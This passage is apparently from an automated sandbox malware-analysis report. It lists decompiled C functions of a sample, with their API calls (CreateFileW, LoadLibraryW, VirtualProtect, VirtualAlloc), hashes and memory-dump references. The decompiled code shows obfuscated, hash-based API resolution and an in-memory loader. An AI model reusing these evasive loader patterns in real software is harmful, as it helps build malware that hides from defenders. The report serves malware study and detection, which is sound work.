				struct _SECURITY_ATTRIBUTES* _v532;
				intOrPtr _v536;
				intOrPtr _v540;
				intOrPtr _v544;
				intOrPtr _v548;
				intOrPtr _v552;
				intOrPtr _v556;
				intOrPtr _v560;
				char _v564;
				intOrPtr _v568;
				char _v572;
				struct _SECURITY_ATTRIBUTES* _v576;
				intOrPtr _v580;
				signed int _v584;
				signed int _v588;
				signed int _v592;
				signed int _v596;
				void* __ebx;
				void* __ebp;
				void* _t58;
				void* _t64;
				void* _t66;
				intOrPtr* _t68;
				void* _t72;
				intOrPtr* _t77;
				intOrPtr* _t79;
				void* _t81;
				void* _t82;
				intOrPtr* _t85;
				void* _t87;
				intOrPtr _t88;
				intOrPtr* _t89;
				void* _t91;
				void* _t95;
				intOrPtr _t100;
				char _t104;
				signed int _t121;
				void* _t124;
				void* _t126;
				void* _t127;
				signed int* _t128;
				void* _t130;

				_t121 = __edx;
				_t128 =  &_v596;
				_v584 = 0x9318;
				_t58 = 0x343bfd89;
				_v584 = _v584 ^ 0xde90c338;
				_v584 = _v584 ^ 0xde905120;
				_v596 = 0x7d19;
				_v596 = _v596 << 9;
				_v596 = _v596 >> 0xe;
				_v596 = _v596 + 0xffff07e5;
				_v596 = _v596 | 0x8aea6eef;
				_v596 = _v596 + 0xd867;
				_v596 = _v596 + 0x9c41;
				_v596 = _v596 + 0x3de0;
				_v596 = _v596 + 0x218b;
				_v596 = _v596 ^ 0x00014403;
				_v592 = 0x2591;
				_t127 = _v584;
				_t95 = 0;
				_v592 = _v592 * 0x7d;
				_v592 = _v592 + 0x8d68;
				_v592 = _v592 + 0xffff8911;
				_v592 = _v592 * 0x6a;
				_v592 = _v592 + 0xffff93d5;
				_v592 = _v592 ^ 0x07a13cd2;
				_v588 = 0x789;
				_v588 = _v588 >> 1;
				_v588 = _v588 ^ 0xaee58af2;
				_v588 = _v588 ^ 0xaee58936;
				while(1) {
					L1:
					goto L2;
					do {
						while(1) {
							L2:
							_t130 = _t58 - 0xea5411f;
							if(_t130 > 0) {
								break;
							}
							if(_t130 == 0) {
								_t72 = E007B34C0(0x7bd970);
								_t121 =  *0x7be158;
								_t126 = _t72;
								if(_t121 == 0) {
									_t121 = E007B3E60(_t95, E007B3F00(0xc6fbcd74), 0xba71dd03, _t127);
									 *0x7be158 = _t121;
								}
								_t100 =  *0x7be54c; // 0x54e0e0
								_t50 = _t100 + 0x260; // 0x54e340
								_t51 = _t100 + 0x18; // 0x54e0f8
								 *_t121( &_v524, 0x104, _t126, _t51, _t50);
								_t77 =  *0x7be494;
								_t128 =  &(_t128[5]);
								if(_t77 == 0) {
									_t82 = E007B3F00(0x9bab0b12);
									_t121 = 0x7facde30;
									_t77 = E007B3E60(_t95, _t82, 0x7facde30, _t127);
									 *0x7be494 = _t77;
								}
								_t124 =  *_t77();
								_t79 =  *0x7bdf30;
								if(_t79 == 0) {
									_t81 = E007B3F00(0x9bab0b12);
									_t121 = 0x5010a54d;
									_t79 = E007B3E60(_t95, _t81, 0x5010a54d, _t127);
									 *0x7bdf30 = _t79;
								}
								 *_t79(_t124, 0, _t126);
								_t58 = 0x2c2d24c8;
								goto L1;
							} else {
								if(_t58 == 0x2f64d8b) {
									_t85 =  *0x7be1d4;
									if(_t85 == 0) {
										_t87 = E007B3F00(0x9bab0b12);
										_t121 = 0xa229df38;
										_t85 = E007B3E60(_t95, _t87, 0xa229df38, _t127);
										 *0x7be1d4 = _t85;
									}
									 *_t85( &_v572);
									_t58 = 0xc5e088d;
									continue;
								} else {
									if(_t58 == 0x6f65414) {
										_t88 = _v568;
										_t104 = _v572;
										_v560 = _t88;
										_v552 = _t88;
										_v544 = _t88;
										_v536 = _t88;
										_t89 =  *0x7bdee4;
										_v564 = _t104;
										_v556 = _t104;
										_v548 = _t104;
										_v540 = _t104;
										_v532 = 0;
										if(_t89 == 0) {
											_t91 = E007B3F00(0x9bab0b12);
											_t121 = 0x4bf45878;
											_t89 = E007B3E60(_t95, _t91, 0x4bf45878, _t127);
											 *0x7bdee4 = _t89;
										}
										 *_t89(_t127, 0,  &_v564, 0x28);
										_t58 = 0x3557bd8c;
										_t95 =  !=  ? 1 : _t95;
										continue;
									} else {
										if(_t58 != 0xc5e088d) {
											goto L24;
										} else {
											_v580 = 0xa8c00;
											_v576 = 0;
											_v596 = E007BB6E0(_v580, _v576, 0x989680, 0);
											_v592 = _t121;
											_v588 = _v588 - _v596;
											_t58 = 0xea5411f;
											asm("sbb [esp+0x2c], ecx");
											continue;
										}
									}
								}
							}
							L35:
						}
						if(_t58 == 0x2c2d24c8) {
							if( *0x7bde04 == 0) {
								_t66 = E007B3F00(0x9bab0b12);
								_t121 = 0xb66d748a;
								 *0x7bde04 = E007B3E60(_t95, _t66, 0xb66d748a, _t127);
							}
							_t64 = CreateFileW( &_v524, _v584, _v596, 0, _v592, _v588, 0); // executed
							_t127 = _t64;
							if(_t127 == 0xffffffff) {
								goto L34;
							} else {
								_t58 = 0x6f65414;
								goto L2;
							}
						} else {
							if(_t58 == 0x343bfd89) {
								_t58 = 0x2f64d8b;
								goto L2;
							} else {
								if(_t58 == 0x3557bd8c) {
									_t68 =  *0x7bde3c;
									if(_t68 == 0) {
										_t68 = E007B3E60(_t95, E007B3F00(0x9bab0b12), 0x20de7595, _t127);
										 *0x7bde3c = _t68;
									}
									 *_t68(_t127);
									L34:
									return _t95;
								} else {
									goto L24;
								}
							}
						}
						goto L35;
						L24:
					} while (_t58 != 0xcfe8e);
					return _t95;
					goto L35;
				}
			}

0x007b80a0
0x007b80a0
0x007b80a6
0x007b80ae
0x007b80b3
0x007b80bb
0x007b80c3
0x007b80ca
0x007b80ce
0x007b80d2
0x007b80d9
0x007b80e0
0x007b80e7
0x007b80ee
0x007b80f5
0x007b80fc
0x007b8103
0x007b8112
0x007b8116
0x007b8119
0x007b811d
0x007b8125
0x007b8133
0x007b8137
0x007b813f
0x007b8147
0x007b814f
0x007b8153
0x007b815b
0x007b8163
0x007b8163
0x007b8168
0x007b8170
0x007b8170
0x007b8170
0x007b8170
0x007b8175
0x00000000
0x00000000
0x007b817b
0x007b828c
0x007b8291
0x007b8297
0x007b829b
0x007b82b3
0x007b82b5
0x007b82b5
0x007b82bb
0x007b82c1
0x007b82c8
0x007b82d7
0x007b82d9
0x007b82de
0x007b82e3
0x007b82ea
0x007b82ef
0x007b82f6
0x007b82fb
0x007b82fb
0x007b8302
0x007b8304
0x007b830b
0x007b8312
0x007b8317
0x007b831e
0x007b8323
0x007b8323
0x007b832c
0x007b832e
0x00000000
0x007b8181
0x007b8186
0x007b8252
0x007b8259
0x007b8260
0x007b8265
0x007b826c
0x007b8271
0x007b8271
0x007b827b
0x007b827d
0x00000000
0x007b818c
0x007b8191
0x007b81e3
0x007b81e7
0x007b81eb
0x007b81ef
0x007b81f3
0x007b81f7
0x007b81fb
0x007b8200
0x007b8204
0x007b8208
0x007b820c
0x007b8210
0x007b821a
0x007b8221
0x007b8226
0x007b822d
0x007b8232
0x007b8232
0x007b8241
0x007b8245
0x007b824a
0x00000000
0x007b8193
0x007b8198
0x00000000
0x007b819e
0x007b81a0
0x007b81a8
0x007b81c4
0x007b81c8
0x007b81d4
0x007b81d8
0x007b81dd
0x00000000
0x007b81dd
0x007b8198
0x007b8191
0x007b8186
0x00000000
0x007b817b
0x007b833d
0x007b8377
0x007b837e
0x007b8383
0x007b8391
0x007b8391
0x007b83b4
0x007b83b6
0x007b83bb
0x00000000
0x007b83bd
0x007b83bd
0x00000000
0x007b83bd
0x007b833f
0x007b8344
0x007b8365
0x00000000
0x007b8346
0x007b834b
0x007b83c7
0x007b83ce
0x007b83e1
0x007b83e6
0x007b83e6
0x007b83ec
0x007b83f1
0x007b83fa
0x00000000
0x00000000
0x00000000
0x007b834b
0x007b8344
0x00000000
0x007b834d
0x007b834d
0x007b8364
0x00000000
0x007b8364

APIs

CreateFileW.KERNELBASE(?,?,?,00000000,?,?,00000000,?,3251FEFE,?,?), ref: 007B83B4

Strings

T, xrefs: 007B82BB

Memory Dump Source

Source File: 0000000A.00000002.2271279815.00000000007B1000.00000020.00000001.sdmp, Offset: 007B0000, based on PE: true

Associated: 0000000A.00000002.2271273797.00000000007B0000.00000004.00000001.sdmp Download File
Associated: 0000000A.00000002.2271290366.00000000007BD000.00000004.00000001.sdmp Download File
Associated: 0000000A.00000002.2271300426.00000000007BF000.00000002.00000001.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_7b0000_SampleRes.jbxd

Yara matches

Similarity

API ID: CreateFile
String ID: T
API String ID: 823142352-373082590
Opcode ID: 9e6905c4867faf5d28e4d7f3a88db2175bd3f3ea065319109113d9d2feb97a89
Instruction ID: edac58c68a148c7426a337b52ac647fe21a385b2d04e05875ca8e9d0a0f77cb9
Opcode Fuzzy Hash: 9e6905c4867faf5d28e4d7f3a88db2175bd3f3ea065319109113d9d2feb97a89
Instruction Fuzzy Hash: 5D81AA706083058FD758DF68C854BAFB6E9AB98748F10492EF085CB290EB78DD41CB56

Uniqueness

Uniqueness Score: -1.00%

Function 007B30A0, Relevance: 3.7, APIs: 1, Strings: 1, Instructions: 165
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 71%

			E007B30A0() {
				void* __ebx;
				void* __ecx;
				void* __ebp;
				void* _t61;
				intOrPtr* _t62;
				void* _t65;
				intOrPtr _t93;
				intOrPtr* _t95;
				intOrPtr _t107;
				intOrPtr* _t116;
				void* _t127;
				void* _t128;
				intOrPtr _t129;
				signed int _t134;
				void* _t135;
				void* _t136;

				_t93 =  *((intOrPtr*)(_t135 + 0xc));
				_t61 = 0x11f367c2;
				_t134 =  *(_t135 + 0x10);
				_t129 =  *((intOrPtr*)(_t135 + 0x14));
				_t127 =  *(_t135 + 0x18);
				while(1) {
					L1:
					do {
						while(1) {
							L2:
							_t136 = _t61 - 0x12466c01;
							if(_t136 > 0) {
								break;
							}
							if(_t136 == 0) {
								if(_t93 !=  *(_t135 + 0x18)) {
									L29:
									return 1;
								} else {
									_t61 = 0x2f21cdd2;
									continue;
								}
							} else {
								if(_t61 == 0x7a26146) {
									_t61 =  ==  ? 0x2f21cdd2 : 0x12466c01;
									continue;
								} else {
									if(_t61 == 0x8928514) {
										_t95 =  *0x7be1cc;
										if(_t95 == 0) {
											_t95 = E007B3E60(_t93, E007B3F00(0x55ab7d30), 0x815a9da3, _t134);
											 *0x7be1cc = _t95;
										}
										_t129 =  *_t95(_t134 + 0x2c);
										_t61 = 0x39d78901;
										while(1) {
											L1:
											goto L2;
										}
									} else {
										if(_t61 != 0x11f367c2) {
											goto L18;
										} else {
											 *(_t135 + 0x18) = 0x2e7c;
											 *(_t135 + 0x18) = 0x3e0f83e1 *  *(_t135 + 0x18) >> 0x20 >> 4;
											 *(_t135 + 0x18) =  *(_t135 + 0x18) >> 7;
											 *(_t135 + 0x18) = 0x2f149903 *  *(_t135 + 0x18) >> 0x20 >> 4;
											 *(_t135 + 0x18) =  *(_t135 + 0x18) + 0xffff1475;
											 *(_t135 + 0x18) =  *(_t135 + 0x18) * 0x15;
											 *(_t135 + 0x18) =  *(_t135 + 0x18) >> 2;
											 *(_t135 + 0x18) = 0x22b63cbf *  *(_t135 + 0x18) >> 0x20 >> 4;
											 *(_t135 + 0x18) =  *(_t135 + 0x18) ^ 0x8ee7705c;
											 *(_t135 + 0x10) = 0xa461;
											 *(_t135 + 0x10) =  *(_t135 + 0x10) << 0xe;
											 *(_t135 + 0x10) =  *(_t135 + 0x10) * 8 -  *(_t135 + 0x10) << 2;
											_t61 = 0x8928514;
											 *(_t135 + 0x10) = 0x51eb851f *  *(_t135 + 0x10) >> 0x20 >> 3;
											 *(_t135 + 0x10) =  *(_t135 + 0x10) + 0xffffb6ab;
											 *(_t135 + 0x10) =  *(_t135 + 0x10) ^ 0x88f30986;
											while(1) {
												L1:
												goto L2;
											}
										}
									}
								}
							}
							L30:
						}
						if(_t61 == 0x2f21cdd2) {
							_t62 =  *0x7be494;
							if(_t62 == 0) {
								_t62 = E007B3E60(_t93, E007B3F00(0x9bab0b12), 0x7facde30, _t134);
								 *0x7be494 = _t62;
							}
							_t128 =  *_t62();
							if( *0x7bdd18 == 0) {
								 *0x7bdd18 = E007B3E60(_t93, E007B3F00(0x9bab0b12), 0x9ff0609c, _t134);
							}
							_t65 = RtlAllocateHeap(_t128, 8, 0x24c); // executed
							_t127 = _t65;
							if(_t127 == 0) {
								goto L29;
							} else {
								_t61 = 0x35eaa088;
								goto L1;
							}
						} else {
							if(_t61 == 0x35eaa088) {
								_t116 =  *0x7be43c;
								if(_t116 == 0) {
									_t116 = E007B3E60(_t93, E007B3F00(0x9bab0b12), 0x2df4d385, _t134);
									 *0x7be43c = _t116;
								}
								 *_t116(_t127 + 0x3c, _t134 + 0x2c, (_t129 - _t134 - 0x2c >> 1) + 1);
								_t107 =  *((intOrPtr*)(_t135 + 0x1c));
								 *(_t127 + 0x2c) =  *(_t107 + 0x1c);
								 *((intOrPtr*)(_t107 + 0xc)) =  *((intOrPtr*)(_t107 + 0xc)) + 1;
								 *(_t107 + 0x1c) = _t127;
								goto L29;
							} else {
								if(_t61 != 0x39d78901) {
									goto L18;
								} else {
									_t93 = E007B3D00(_t129);
									_t61 = 0x7a26146;
									while(1) {
										L1:
										goto L2;
									}
								}
							}
						}
						goto L30;
						L18:
					} while (_t61 != 0x100ad7b4);
					return 1;
					goto L30;
				}
			}

0x007b30a2
0x007b30a6
0x007b30ac
0x007b30b1
0x007b30b6
0x007b30ba
0x007b30ba
0x007b30c0
0x007b30c0
0x007b30c0
0x007b30c0
0x007b30c5
0x00000000
0x00000000
0x007b30cb
0x007b31f1
0x007b32f9
0x007b3300
0x007b31f7
0x007b31f7
0x00000000
0x007b31f7
0x007b30d1
0x007b30d6
0x007b31e5
0x00000000
0x007b30dc
0x007b30e1
0x007b31a0
0x007b31a8
0x007b31c0
0x007b31c2
0x007b31c2
0x007b31ce
0x007b31d0
0x007b30ba
0x007b30ba
0x00000000
0x007b30ba
0x007b30e7
0x007b30ec
0x00000000
0x007b30f2
0x007b30f2
0x007b310d
0x007b3111
0x007b311f
0x007b3123
0x007b3130
0x007b3139
0x007b3147
0x007b314b
0x007b3153
0x007b315b
0x007b3175
0x007b317f
0x007b3187
0x007b318b
0x007b3193
0x007b30ba
0x007b30ba
0x00000000
0x007b30ba
0x007b30ba
0x007b30ec
0x007b30e1
0x007b30d6
0x00000000
0x007b30cb
0x007b3206
0x007b3245
0x007b324c
0x007b325f
0x007b3264
0x007b3264
0x007b326b
0x007b3274
0x007b328c
0x007b328c
0x007b3299
0x007b329b
0x007b329f
0x00000000
0x007b32a1
0x007b32a1
0x00000000
0x007b32a1
0x007b3208
0x007b320d
0x007b32ab
0x007b32b3
0x007b32cb
0x007b32cd
0x007b32cd
0x007b32e4
0x007b32e6
0x007b32ed
0x007b32f0
0x007b32f3
0x00000000
0x007b3213
0x007b3218
0x00000000
0x007b321a
0x007b3221
0x007b3223
0x007b30ba
0x007b30ba
0x00000000
0x007b30ba
0x007b30ba
0x007b3218
0x007b320d
0x00000000
0x007b322d
0x007b322d
0x007b3242
0x00000000
0x007b3242

APIs

RtlAllocateHeap.NTDLL(00000000,00000008,0000024C), ref: 007B3299

Strings

|., xrefs: 007B30F2

Memory Dump Source

Source File: 0000000A.00000002.2271279815.00000000007B1000.00000020.00000001.sdmp, Offset: 007B0000, based on PE: true

Associated: 0000000A.00000002.2271273797.00000000007B0000.00000004.00000001.sdmp Download File
Associated: 0000000A.00000002.2271290366.00000000007BD000.00000004.00000001.sdmp Download File
Associated: 0000000A.00000002.2271300426.00000000007BF000.00000002.00000001.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_7b0000_SampleRes.jbxd

Yara matches

Similarity

API ID: AllocateHeap
String ID: |.
API String ID: 1279760036-512043466
Opcode ID: e588eeb5f897a34bde6983e5bf3524e3c90f2f0bc6255a70f3d4874c3f460983
Instruction ID: 52f2defc7a68dd1550a4b55783b48c46c84937eb29cf004308d768eb00ca40a5
Opcode Fuzzy Hash: e588eeb5f897a34bde6983e5bf3524e3c90f2f0bc6255a70f3d4874c3f460983
Instruction Fuzzy Hash: EF51A071B083058BC718DF6C84857AABBE6EBD4344F60492EF451CB351DB39DE898792

Uniqueness

Uniqueness Score: -1.00%

Function 007B7080, Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 45
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 75%

			E007B7080(void* __ebx, void* __ecx, signed int __edx, void* __eflags) {
				struct HINSTANCE__* _t6;
				intOrPtr* _t7;
				intOrPtr* _t9;
				intOrPtr _t17;
				signed int _t28;
				void* _t29;
				WCHAR* _t30;
				void* _t31;

				_t15 = __ebx;
				_t28 = __edx;
				_t30 = E007B34C0(__ecx);
				if( *0x7bdd1c == 0) {
					 *0x7bdd1c = E007B3E60(__ebx, E007B3F00(0x9bab0b12), 0xe4b28d97, _t31);
				}
				_t6 = LoadLibraryW(_t30);
				_t17 =  *0x7be548; // 0x587e58
				 *(_t17 + 0x30 + _t28 * 4) = _t6;
				_t7 =  *0x7be494;
				if(_t7 == 0) {
					_t7 = E007B3E60(_t15, E007B3F00(0x9bab0b12), 0x7facde30, _t31);
					 *0x7be494 = _t7;
				}
				_t29 =  *_t7();
				_t9 =  *0x7bdf30;
				if(_t9 == 0) {
					_t9 = E007B3E60(_t15, E007B3F00(0x9bab0b12), 0x5010a54d, _t31);
					 *0x7bdf30 = _t9;
				}
				return  *_t9(_t29, 0, _t30);
			}

0x007b7080
0x007b7082
0x007b7089
0x007b7092
0x007b70aa
0x007b70aa
0x007b70b0
0x007b70b2
0x007b70b8
0x007b70bc
0x007b70c3
0x007b70d6
0x007b70db
0x007b70db
0x007b70e2
0x007b70e4
0x007b70eb
0x007b70fe
0x007b7103
0x007b7103
0x007b7110

APIs

LoadLibraryW.KERNEL32(00000000,?,3251FEFE,007B721D,007B68AC), ref: 007B70B0

Strings

X~X, xrefs: 007B70B2

Memory Dump Source

Source File: 0000000A.00000002.2271279815.00000000007B1000.00000020.00000001.sdmp, Offset: 007B0000, based on PE: true

Associated: 0000000A.00000002.2271273797.00000000007B0000.00000004.00000001.sdmp Download File
Associated: 0000000A.00000002.2271290366.00000000007BD000.00000004.00000001.sdmp Download File
Associated: 0000000A.00000002.2271300426.00000000007BF000.00000002.00000001.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_7b0000_SampleRes.jbxd

Yara matches

Similarity

API ID: LibraryLoad
String ID: X~X
API String ID: 1029625771-1239559076
Opcode ID: d696d0df5342a7b010e898256c643fa4e78fcbbb97eb6bb82776a349fbd30dfc
Instruction ID: fc833d1f9427dcfd406302bf31531d1635803034fa7f7c7cf6f3e2eff855e0da
Opcode Fuzzy Hash: d696d0df5342a7b010e898256c643fa4e78fcbbb97eb6bb82776a349fbd30dfc
Instruction Fuzzy Hash: 2101A2307142108F9B24AF799C54BBB3AABDBD0658710852AF019CB315FE3CDD418794

Uniqueness

Uniqueness Score: -1.00%

Function 007A0580, Relevance: 3.1, APIs: 2, Instructions: 127
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 007A0FB0: RtlMoveMemory.NTDLL(00000000,?,00000040), ref: 007A0F08
Part of subcall function 007A0FB0: RtlMoveMemory.NTDLL(00000000,?,000000F8), ref: 007A0F3E
Part of subcall function 007A0FB0: RtlMoveMemory.NTDLL(00000000,00000000,000000F8), ref: 007A0F7F

RtlMoveMemory.NTDLL(00000000,-00000018,00000028), ref: 007A061B
VirtualProtect.KERNEL32(00000000,-00000018,?,00000000,00000000,00000000,-00000018,00000028,?,?,?,00000000,00000000,?,00000000), ref: 007A069C

Memory Dump Source

Source File: 0000000A.00000002.2271261884.00000000007A0000.00000040.00000001.sdmp, Offset: 007A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_7a0000_SampleRes.jbxd

Similarity

API ID: MemoryMove$ProtectVirtual
String ID:
API String ID: 4043890290-0
Opcode ID: b94b9ae67b6adb9e0137934aeccaac81b37d054c99ee4087dee3bfd6cde587a0
Instruction ID: 76c3f5dada7a41c4c3b3af7bb46fa9ffb5a613811aabbec168cfea6e73801099
Opcode Fuzzy Hash: b94b9ae67b6adb9e0137934aeccaac81b37d054c99ee4087dee3bfd6cde587a0
Instruction Fuzzy Hash: 1D3158B365420597F3249A29DC89BEBB3D4DBD3358F480E3AF905C2240E52FD468C2E5

Uniqueness

Uniqueness Score: -1.00%

Function 007B5CE0, Relevance: 3.0, APIs: 2, Instructions: 13
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			_entry_() {
				void* _t5;
				void* _t9;

				E007B65E0();
				if( *0x7bddb8 == 0) {
					 *0x7bddb8 = E007B3E60(_t5, E007B3F00(0x9bab0b12), 0x89f3d704, _t9);
				}
				ExitProcess(0);
			}

0x007b5ce0
0x007b5cec
0x007b5d04
0x007b5d04
0x007b5d0b

APIs

ExitProcess.KERNELBASE(00000000), ref: 007B5D0B

Memory Dump Source

Source File: 0000000A.00000002.2271279815.00000000007B1000.00000020.00000001.sdmp, Offset: 007B0000, based on PE: true

Associated: 0000000A.00000002.2271273797.00000000007B0000.00000004.00000001.sdmp Download File
Associated: 0000000A.00000002.2271290366.00000000007BD000.00000004.00000001.sdmp Download File
Associated: 0000000A.00000002.2271300426.00000000007BF000.00000002.00000001.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_7b0000_SampleRes.jbxd

Yara matches

Similarity

API ID: ExitProcess
String ID:
API String ID: 621844428-0
Opcode ID: 835cab6d027233f584542f942fea81fc6b6b659eadf1953c09005a40a05c3bad
Instruction ID: 7f6f48860b1ed699744a9b0b3d64f724e57f27016baad80448ee1df76f901fb8
Opcode Fuzzy Hash: 835cab6d027233f584542f942fea81fc6b6b659eadf1953c09005a40a05c3bad
Instruction Fuzzy Hash: 81D0123470420497DF68ABB55859BAA259A8FE0748F10811AF051CF296FE3CCD60B764

Uniqueness

Uniqueness Score: -1.00%

Function 007A0AD0, Relevance: 2.7, APIs: 2, Instructions: 175
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 007A0FB0: RtlMoveMemory.NTDLL(00000000,?,00000040), ref: 007A0F08
Part of subcall function 007A0FB0: RtlMoveMemory.NTDLL(00000000,?,000000F8), ref: 007A0F3E
Part of subcall function 007A0FB0: RtlMoveMemory.NTDLL(00000000,00000000,000000F8), ref: 007A0F7F

VirtualAlloc.KERNEL32(?,?,00000000), ref: 007A0BFF

Memory Dump Source

Source File: 0000000A.00000002.2271261884.00000000007A0000.00000040.00000001.sdmp, Offset: 007A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_7a0000_SampleRes.jbxd

Similarity

API ID: MemoryMove$AllocVirtual
String ID:
API String ID: 1654584625-0
Opcode ID: 33a83c292423e0fbe2e532dbc4518730eee9e5d53c86213deb289c7390d0b434
Instruction ID: 3fcf89d4d4bf61673e02f343645869aad627881358442e706024115af979b92c
Opcode Fuzzy Hash: 33a83c292423e0fbe2e532dbc4518730eee9e5d53c86213deb289c7390d0b434
Instruction Fuzzy Hash: CB510370740218ABDB209B54CE86FEAB7B8EF95701F004695FA08B7190D7BC9D85CFA5

Uniqueness

Uniqueness Score: -1.00%

Function 007B42C0, Relevance: 1.5, APIs: 1, Instructions: 30
memoryCOMMON

Download Yara Rule

C-Code - Quality: 79%

			E007B42C0(void* __ebx, long __ecx) {
				intOrPtr* _t1;
				void* _t4;
				void* _t16;
				long _t17;
				void* _t18;

				_t8 = __ebx;
				_t1 =  *0x7be494;
				_t17 = __ecx;
				if(_t1 == 0) {
					_t1 = E007B3E60(__ebx, E007B3F00(0x9bab0b12), 0x7facde30, _t18);
					 *0x7be494 = _t1;
				}
				_t16 =  *_t1();
				if( *0x7bdd18 == 0) {
					 *0x7bdd18 = E007B3E60(_t8, E007B3F00(0x9bab0b12), 0x9ff0609c, _t18);
				}
				_t4 = RtlAllocateHeap(_t16, 8, _t17); // executed
				return _t4;
			}

0x007b42c0
0x007b42c0
0x007b42c6
0x007b42cb
0x007b42de
0x007b42e3
0x007b42e3
0x007b42ea
0x007b42f3
0x007b430b
0x007b430b
0x007b4314
0x007b4318

APIs

RtlAllocateHeap.NTDLL(00000000,00000008,?), ref: 007B4314

Memory Dump Source

Source File: 0000000A.00000002.2271279815.00000000007B1000.00000020.00000001.sdmp, Offset: 007B0000, based on PE: true

Associated: 0000000A.00000002.2271273797.00000000007B0000.00000004.00000001.sdmp Download File
Associated: 0000000A.00000002.2271290366.00000000007BD000.00000004.00000001.sdmp Download File
Associated: 0000000A.00000002.2271300426.00000000007BF000.00000002.00000001.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_7b0000_SampleRes.jbxd

Yara matches

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: 85c1202acf9b092c44bcfff7ac41c3aeabd8be85436be0d920cea90563142b98
Instruction ID: 8df710852a73b9ca5e3aebda3e154bcdc438794948aff2be3c604968f10327e5
Opcode Fuzzy Hash: 85c1202acf9b092c44bcfff7ac41c3aeabd8be85436be0d920cea90563142b98
Instruction Fuzzy Hash: EEE065317002105B9B14ABBDA855FBB26AF9BD0644714452AB000DB356FD3DDD415398

Uniqueness

Uniqueness Score: -1.00%

Function 007A0170, Relevance: 1.4, APIs: 1, Instructions: 163COMMON

Download Yara Rule

APIs

Part of subcall function 007A0FB0: RtlMoveMemory.NTDLL(00000000,?,00000040), ref: 007A0F08
Part of subcall function 007A0FB0: RtlMoveMemory.NTDLL(00000000,?,000000F8), ref: 007A0F3E
Part of subcall function 007A0FB0: RtlMoveMemory.NTDLL(00000000,00000000,000000F8), ref: 007A0F7F

VirtualFree.KERNEL32(?,00000000,00008000,?,?,?,?,?,?,?,?), ref: 007A02F6

Memory Dump Source

Source File: 0000000A.00000002.2271261884.00000000007A0000.00000040.00000001.sdmp, Offset: 007A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_7a0000_SampleRes.jbxd

Similarity

API ID: MemoryMove$FreeVirtual
String ID:
API String ID: 223123264-0
Opcode ID: f2e981a9179681ccb7f8c3dcf060b14378d00665a4bf2a35893dbab2a67e5d97
Instruction ID: a9a0cfb0ab6ed9af3c1279d53170462c950e2c7c1bcd84c1e9e95f70306d50e4
Opcode Fuzzy Hash: f2e981a9179681ccb7f8c3dcf060b14378d00665a4bf2a35893dbab2a67e5d97
Instruction Fuzzy Hash: C45138B1900268EBDB20EF64DD89BDEB778EF89700F004599F509B7250DB785A85CFA4

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 007A0010, Relevance: 12.6, Strings: 10, Instructions: 98COMMON

Download Yara Rule

Strings

Eight, xrefs: 007A00B3
Two, xrefs: 007A0065
Three, xrefs: 007A0072
Seven, xrefs: 007A00A6
Ten, xrefs: 007A00CD
Six, xrefs: 007A0099
One, xrefs: 007A005B
Nine, xrefs: 007A00C0
Four, xrefs: 007A007F
Five, xrefs: 007A008C

Memory Dump Source

Source File: 0000000A.00000002.2271261884.00000000007A0000.00000040.00000001.sdmp, Offset: 007A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_7a0000_SampleRes.jbxd

Similarity

API ID:
String ID: Eight$Five$Four$Nine$One$Seven$Six$Ten$Three$Two
API String ID: 0-211638553
Opcode ID: 8cc000d8363efb3f459e751a077807d67fb32520a221421634b6d1961bee58a5
Instruction ID: dcfdffd72a1c51237716b4588b6b395e7e41f4d756c6f4d2e76d4a452b9b27da
Opcode Fuzzy Hash: 8cc000d8363efb3f459e751a077807d67fb32520a221421634b6d1961bee58a5
Instruction Fuzzy Hash: 5E311A78E4112C9BCB04DB98CD80AED7BB5FF9C340B508026D502736A4DB789986CFA5

Uniqueness

Uniqueness Score: -1.00%

Function 007A06F0, Relevance: 9.2, APIs: 6, Instructions: 169COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.2271261884.00000000007A0000.00000040.00000001.sdmp, Offset: 007A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_7a0000_SampleRes.jbxd

Similarity

API ID: MemoryMove
String ID:
API String ID: 1951056069-0
Opcode ID: 0f97f71410d1e41c89ff792c719ec0644fea615ab81a24e4e49035ac14860485
Instruction ID: 0d50eb990b8cfbdf9926ec203fe9cd3f57f0abd43ad3e108b0a18856118ea786
Opcode Fuzzy Hash: 0f97f71410d1e41c89ff792c719ec0644fea615ab81a24e4e49035ac14860485
Instruction Fuzzy Hash: 2C5191B2A043019BE720DF26C845B5BB3E8ABD6794F444F2EF548E7241E23DD91487E6

Uniqueness

Uniqueness Score: -1.00%

Function 007A08F0, Relevance: 7.7, APIs: 5, Instructions: 158COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.2271261884.00000000007A0000.00000040.00000001.sdmp, Offset: 007A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_7a0000_SampleRes.jbxd

Similarity

API ID: MemoryMove
String ID:
API String ID: 1951056069-0
Opcode ID: 8e3fd66f474281e81dfdc8038c3d39c61aa2314e82aa304560e84bd4efe8ca18
Instruction ID: 8054b059fa1498e5ad83fb7ab4f69d75629858cfac05701477ab58768d026efa
Opcode Fuzzy Hash: 8e3fd66f474281e81dfdc8038c3d39c61aa2314e82aa304560e84bd4efe8ca18
